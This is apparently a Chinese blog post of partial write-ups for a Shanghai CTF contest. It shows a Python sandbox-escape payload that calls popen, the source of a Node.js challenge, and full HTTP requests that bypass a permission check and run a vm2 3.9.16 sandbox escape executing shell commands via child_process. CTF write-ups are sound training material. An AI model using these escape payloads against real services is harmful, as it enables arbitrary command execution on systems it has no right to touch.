上海磐石ctf部分wp

最新推荐文章于 2024-05-11 10:06:16 发布

路向阳_

最新推荐文章于 2024-05-11 10:06:16 发布

阅读量284

点赞数

分类专栏： CTF学习文章标签：网络安全

本文链接：https://blog.csdn.net/weixin_44807430/article/details/130919330

版权

CTF学习专栏收录该内容

6 篇文章 1 订阅

订阅专栏

一、ctf赛题制

1、bird

这道题直接按照图上的翻译即可得到flag

https://www.bilibili.com/read/mobile?id=19369626

2、ezpython

沙箱逃逸，构造pyload
在这里插入图片描述

找到os对象
print(“”.class.base.subclasses()[137].init.globals[‘po’+‘pen’](‘cat *’).read())

3、nodejs

发现历史漏洞

抓包读取到：

const express = require('express');
const app = express();
var bodyParser = require('body-parser')
app.use(bodyParser.json())
const {VM} = require("vm2");
const fs = require("fs");
const session = require("express-session");
const cookieParser = require('cookie-parser');
session_secret = Math.random().toString(36).substr(2);
app.use(cookieParser(session_secret));
app.use(session({ secret: session_secret, resave: true, saveUninitialized: true }))

function copyArray(arr1){
    var arr2 = new Array(arr1.length);
    for (var i=0;i<arr1.length;i++){
        if(arr1[i] instanceof Object){
            arr2[i] = copyArray(arr1[i])
        }else{
            arr2[i] = arr1[i]
        }
    }
    return arr2
}

app.get('/', function (req, res) {
    res.send('see `/src`');
});



app.post('/vm2_tester',function(req,res){
    if(req.body.name) {
        req.session.user = {"username": req.body.name}
        const properties = req.body.properties
        for (let i = 0; i < properties.length; i++) {
            if (properties[i] == 'vm2_tester') {
                res.send('cant set vm2_tester by self')
                return
            }
        }
        req.session.user.properties = copyArray(properties)
        res.send('Success')
    }else {
        res.send("input username")
    }
})


app.post('/vm2',function  (req, res) {

    if(req.session.user && req.session.user.properties) {
        for (var i = 0; i < req.session.user.properties.length; i++)
            if (req.session.user.properties[i] == 'vm2_tester') {
                if (req.body["code"]) {
                    if (/\b(?:function)\b/.test(req.body["code"])) {
                        res.send("define function not allowed")
                        return;
                    }
                    if (/\b(?:getPrototypeOf)\b/.test(req.body["code"])) {
                        res.send("define getPrototypeOf not allowed")
                        return;
                    }
                    const vm = new VM();
                    res.send(vm.run(req.body["code"]))
                    return
                } else{
                    res.send("input code")
                }
            }
    }else{
        res.send("not vm2 tester rights")
    }

})


app.get('/', function (req, res) {
    res.send('see `/src`,use vm2 3.9.16');
});
app.get('/src', function (req, res) {
    var data = fs.readFileSync('app.js');
    res.send(data.toString());
});

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

分析：

他的递归始终是返回arr2，所以多层数组最终里面的值都是传进arr2

这里过滤的是一维数组，多维数组的值还是可以控制，递归完，多维数组的值还是返回给了arr2
然后弱类型比较的时候，自动比较首个元素

构造对象：

网上的poc
https://gist.github.com/arkark/e9f5cf5782dec8321095be3e52acf5ac

该poc为命令注入执行代码，需要去除掉多余的换行、空格，同时转义双引号

创建对象：
POST /vm2_tester HTTP/1.1
Host: 116.236.144.37:29292
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: connect.sid=s%3AYNrtHz85yRxOIPkNumtvpi1w6PdQQXMV.TL3MtFYaewXcWwz3wDzugTXOl6lXQ%2B2RGQRVK5Cpym4
Connection: close
Content-Type: application/json
Content-Length: 82

{“name”:“a”,“properties”:{
“length”:1,
“0”:{“length”:1,“0”:[“vm2_tester”]}}
}

命令注入：
POST /vm2 HTTP/1.1
Host: 116.236.144.37:29292
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: connect.sid=s%3AYNrtHz85yRxOIPkNumtvpi1w6PdQQXMV.TL3MtFYaewXcWwz3wDzugTXOl6lXQ%2B2RGQRVK5Cpym4
Connection: close
Content-Type: application/json
Content-Length: 335

{“code”:“const err = new Error(); err.name = { toString: new Proxy(() => “”, {apply(target, thiz, args) { const process = args.constructor.constructor(“return process”)(); throw process.mainModule.require(“child_process”).execSync(“cat /f*”).toString();},}), };try { err.stack; } catch (stdout) {stdout; }”}

flag{uFyIjZmsP8K5NBQhcJ1iwnxWLD3k0fag}